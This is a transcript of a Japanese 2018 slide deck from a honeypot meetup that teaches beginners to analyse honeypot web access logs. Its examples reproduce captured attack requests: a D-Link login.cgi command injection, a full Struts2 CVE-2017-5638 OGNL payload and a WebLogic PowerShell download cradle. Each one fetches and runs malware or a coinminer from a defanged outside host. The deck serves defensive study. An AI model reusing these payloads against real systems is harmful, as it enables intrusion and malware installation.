Upgrade to Pro — share decks privately, control downloads, hide ads and more …

ハニーポットログの 読み方(初級編)

S-Owl
June 29, 2018

ハニーポットログの 読み方(初級編)

2018年6月30日 第4回 ハニーポッター技術交流会 LT発表資料
#hanipo_tech
第4回ハニーポッター技術交流会
https://hanipo-tech.connpass.com/event/90337/

S-Owl

June 29, 2018
Tweet

More Decks by S-Owl

Other Decks in Technology

Transcript

  1. ハニーポットログの
    読み方(初級編)
    第 4 回 ハニーポッター技術交流会
    2018/06/30(Sat)
    @Sec_S_Owl

    View full-size slide

  2. 2
    whomai
    S-Owl ( @Sec_S_Owl )
    ・職業:プライベート SOC のアナリスト
        仕事でログ分析をしています。
        不審メールの調査とマルウェアの動的解析も。
    ・初心者ハニーポッター( 2018/6/5~ 1 ヶ月未満)
     毎日簡単に分析してログを blog に残してます
     ブログ: https://sec-owl.hatenablog.com/

    View full-size slide

  3. 3
    アジェンダ
    モチベーション
    ハニーポット初心者によるログ分析
     ・ ハニーポットのログとは?
     ・ アクセスログの何を見るか?
     ・ 分析するには?
    事例紹介
     ・例 1 : D-Link の脆弱性を突く Mirai 亜種
     ・例 2 : Struts2 の脆弱性をつく攻撃
     ・例 3 : Weblogic の脆弱性をつく攻撃
     ・例 4 : Reaper の攻撃
     ・例 5 : Axis Communications 社のネットワークカメラを
         狙った調査行為 
    まとめ

    View full-size slide

  4. 4
    モチベーション
    ハニーポットを始めた理由
    ・仕事で見ている範囲外のログを見たい
     世間的に広まった攻撃か、そうでないかを仕事に活かしたい
    ・ IPS のシグネチャが出る前に攻撃を見つけたい
     (過去にそういったインシデントに遭遇した経験あり)
    ・ハニーポッター技術交流会にハニポ枠で参加したい!
    → Web アクセスログが取れるハニーポットを植えよう
     クラウドに低スペックで植えやすいものとして
      WOWHoneypot を選択( 1 日で準備できました)
     ※ IDCF クラウド ( 日本 ) で \500/ 月

    View full-size slide

  5. 5
    ハニーポット初心者による
    自己流ログ分析
    あるいは SOC アナリスト的ハニポログ簡易分析

    View full-size slide

  6. 6
    ハニーポットへのアクセスとは?
    ハニーポットへのアクセスは全てあやしいアクセス
    (正常通信かを考えなくていい)
    (ドメイン登録していない場合)
    ・どこにも公開していないのに、勝手に探してアクセスしてくる
    ・ IP ベースでアクセスしてくる自動的なスキャン行為
    → 全て調査対象のログ
    攻撃(およびその予備軍の調査)ログを目的に調べるか?
    →(自分は)
     ・標的としている機器またはソフトウェアの特定
     ・攻撃コードがあれば、その攻撃の意図

    View full-size slide

  7. 7
    アクセスログの何を見るか?
    主に見るのは、メソッドとパス
    GET ならパス + クエリ
    POST ならパス + ボディ
    で攻撃内容を調査する(ググる)。
    User-Agent も特徴的であれば、それも使って調査
    他は特徴的なところ、ログのうち通常と異なる部分を見る
    →そのためには通常のアクセスログを把握しておく
      HTTP 通信に関する基本的な知識は必要
    個人的には、送信元 IP での分析はあまりしない。

    View full-size slide

  8. 8
    (参考)正常のログ
    自分でハニポにブラウザでアクセスしてどう出るか見てみる
    GET / HTTP/1.1
    Host: ( サーバ IP アドレス )
    Connection: keep-alive
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
    AppleWebKit/537.36 (KHTML, like Gecko)
    Chrome/67.0.3396.87 Safari/537.36
    Accept:
    text/html,application/xhtml+xml,application/xml;q=0.9,ima
    ge/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: ja,en-US;q=0.9,en;q=0.8
    ブラウザでアクセスすると GET /favicon.ico へのアクセスも出る

    View full-size slide

  9. 9
    分析するには?
    攻撃者の狙いを考える
    ・調査をして、対象を絞り込む
    ・リモートから任意のコード実行可能な脆弱性を突く
    ・脆弱性を突けたら継続して利用できるようマルウェアを仕込む
    → マルウェアを仕込むようなアクセスが攻撃者の意図に近い
     ( wget や curl 、 FTP 等)
     脆弱性が分かれば狙っている機器 / ソフトウェアが分かる
    攻撃通信のパターンになれることで、判別しやすい
    繰り返せばどんどん理解が早くなっていく
    どこが攻撃コードか分からない時のオススメ
    ・ハニーポットへの通信を IDS に入れて検知させる
    ・「サイバー攻撃の足跡を分析するハニーポット観察記録」を読む

    View full-size slide

  10. 10
    事例紹介

    View full-size slide

  11. 11
    例 1:D-Link の脆弱性を突く Mirai 亜種
    このアクセスログが来た時、どこから調べるか?
    GET
    /login.cgi?cli=aa aa';wget hxxp://185.62.190[.]191/r -O ->
    /tmp/r;sh /tmp/r'$
    Host: 127.0.0.1
    Connection: keep-alive
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: Hello, World
    クエリと User-Agent が特徴的。
    クエリに攻撃コードが含まれている為、恐らくその前までに脆弱
    性があると推測。
    それをキーワードに調査。
    誤クリック防止の為、
    http→hxxp としています

    View full-size slide

  12. 12
    ググった
    結果
    同じ
    ペイロード
    情報を発見
    標的機器と
    exploit の
    情報源も
    例 1:D-Link の脆弱性を突く Mirai 亜種
    同じペイロード
    標的と exploit の情報

    View full-size slide

  13. 13
    Google で Exploit-DB 内をクエリで調査しても同じページが
    出てくる
    GET
    /login.cgi?cli=aa aa';wget hxxp://185.62.190[.]191/r -O ->
    /tmp/r;sh /tmp/r'$
    例 1:D-Link の脆弱性を突く Mirai 亜種

    View full-size slide

  14. 14
    Exploit コードの中身はアクセスログに一致する内容
    GET
    /login.cgi?cli=aa aa';wget hxxp://185.62.190[.]191/r -O ->
    /tmp/r;sh /tmp/r'$
    例 1:D-Link の脆弱性を突く Mirai 亜種

    View full-size slide

  15. 15
    攻撃コードを Hybrid-Analysisで調べてみると更に Bot 用ファイ
    ルをダウンロードしていることが分かる。
    例 1:D-Link の脆弱性を突く Mirai 亜種
    D-Link のコード実行の脆弱性を
    突いて Bot 化させる攻撃と判明

    View full-size slide

  16. 16
    例 2 : Struts2 の脆弱性をつく攻撃
    このアクセスログが来た時、どこから調べるか?
    GET /index.action HTTP/1.1
    Connection: Keep-Alive
    Content-Type: %{(#nike='multipart/form-data').(#[email protected]  
    @DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
    ((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
    .(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.
    OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.
    getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='wget
    -P /tmp hxxp://hfs.mhacker[.]cc:9278/Linux.server;   chmod 777
    /tmp/Linux.server;/tmp/Linux.server').(#iswin=(@java.lang.System  
    @getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?
    {'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new
    java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)).
    (#process=#p.start()).(#ros=(@org.
    apache.struts2.ServletActionContext@getResponse(). getOutputStream())).
    (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
    (#ros.flush())}
    Accept: */*
    Accept-Language: zh-cn
    Referer: http://(ipaddr):80/index.action
    User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

    View full-size slide

  17. 17
    例 2 : Struts2 の脆弱性をつく攻撃
    気になるポイント
    GET /index.action HTTP/1.1
    Connection: Keep-Alive
    Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.
    OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
    (#_memberAccess=#dm):((#container=#context['com.
    opensymphony.xwork2.ActionContext.container']).
    (#ognlUtil=#container.getInstance(@com.
    opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.
    getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().
    clear()).(#context. setMemberAccess(#dm)))).(#cmd='wget -P /tmp
    hxxp://hfs.mhacker[.]cc:9278/Linux.server;chmod 777
    /tmp/Linux.server;/tmp/Linux.server').(#iswin=(@java.lang.System
    @getProperty('os.name').toLowerCase().contains('win'))).
    (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
    (#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream
    (true)).(#process=#p.start()).(#ros=(@org.
    apache.struts2.ServletActionContext@getResponse
    ().getOutputStream())).(@org.apache.commons.io.IOUtils@copy
    (#process.getInputStream(),#ros)).(#ros.flush())}
    Content-Type が通常と比べ異常
    ( 一般的な例 )
      Content-Type: text/xml
    .action は Struts で使われる拡張子
    攻撃コードが含まれている

    View full-size slide

  18. 18
    例 2 : Struts2 の脆弱性をつく攻撃
    気になるポイントで調べてみる
    Content-Type: %{(#nike='multipart/form-data').
    (#[email protected] @DEFAULT_MEMBER_ACCESS).
    (#_memberAccess?(#_memberAccess=#dm):
    ((#container=#context['com.opensymphony.xwork2.ActionContext.c
    ontainer']).
    (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ogn
    l.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).
    (#ognlUtil.getExcludedClasses().clear()).
    (#context.setMemberAccess(#dm)))).(#cmd='wget -P /tmp
    hxxp://hfs.mhacker[.]cc:9278/Linux.server;chmod 777
    /tmp/Linux.server;/tmp/Linux.server').
    (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().co
    ntains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-
    c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
    (#p.redirectErrorStream(true)).(#process=#p.start()).
    (#ros=(@org.apache.struts2.ServletActionContext@getResponse().get
    OutputStream())).
    (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#
    ros)).(#ros.flush())}
    脆弱性番号: CVE-2017-5638 / S2-045
    Apache Struts2 の Content-Type ヘッダ
    に "multipart/form-data” に脆弱性がある

    View full-size slide

  19. 19
    例 3 : Weblogic の脆弱性をつく攻撃
    パスを調べると Weblogic の脆弱性 (CVE-2017-10271) と分かる
    POST /wls-wsat/CoordinatorPortType
    … Start /Min PowerShell.exe -NoP -NonI -EP
    ByPass -W Hidden -E $OS=(GWmi Win32_OperatingSystem).
    Caption;   $WC=New-ObjectNet.WebClient;$WC.Headers
    ['User-Agent']="PowerShell/WL $OS";IEX
    $WC.DownloadString  
    ('hxxp://101.200.45[.]78/images/test/DL.php');
    POST のボディ部に攻撃コードが含まれているが、そのまま調査し
    ても DL.php はダウンロードできない。
    発表後資料修正版
    →User-Agent が特定の
    場合のみアクセス可能な
    よう制御されている様
    子。偽装してアクセスす
    ることで解析でき、 
    CoinMiner と判明。
    Analyzing Oracle WebLogic attack

    View full-size slide

  20. 20
    単体のログでは不明でも、同じ送信元 IP からのアクセスで集約し
    た場合に一連のログで見えてくるものがある。
    GET /cgi/common.cgi
    GET /stssys.htm
    GET /
    POST /command.php
    POST /command.php
    :
    これらのパスで調査
    “ /cgi/common.cgi”
    “/stssys.htm”
    “/command.php”
    例 4 : Reaper の攻撃
    他者の blog 等の解説記事により判明することも
    → Bot による特定機器に対するブルートフォース
    DIR-610 exploit attack seen on Honeypot

    View full-size slide

  21. 21
    以下のアクセスログを調査。
    GET /axis-cgi/jpg/image.cgi HTTP/1.1
    User-Agent: Opera/9.80 (Windows NT 5.1; U; ru)
    Presto/2.9.168 Version/11.51
    Accept: */*
    Referer: 1
    アクセスパスで検索してみると、以下が見つかった。
    (中国語サイトの google 翻訳 )
    例 5 : Axis Communications 社の
    ネットワークカメラを狙った調査行為

    View full-size slide

  22. 22
    まとめ
    ・ハニーポットのアクセスログは全て攻撃
     全て解析できる(はず)の宝の山
    ・アクセスログはまずはメソッドとパスから調べてみよう
     やってみると意外と簡単に情報が見つかる。
     誰かが調べて情報を出してくれている
    ・攻撃的なアクセスから攻撃者の意図を推測してみよう
     何を対象に狙っているのか、何をしたいのか推測できる
    ・わかったことは情報発信しよう

    View full-size slide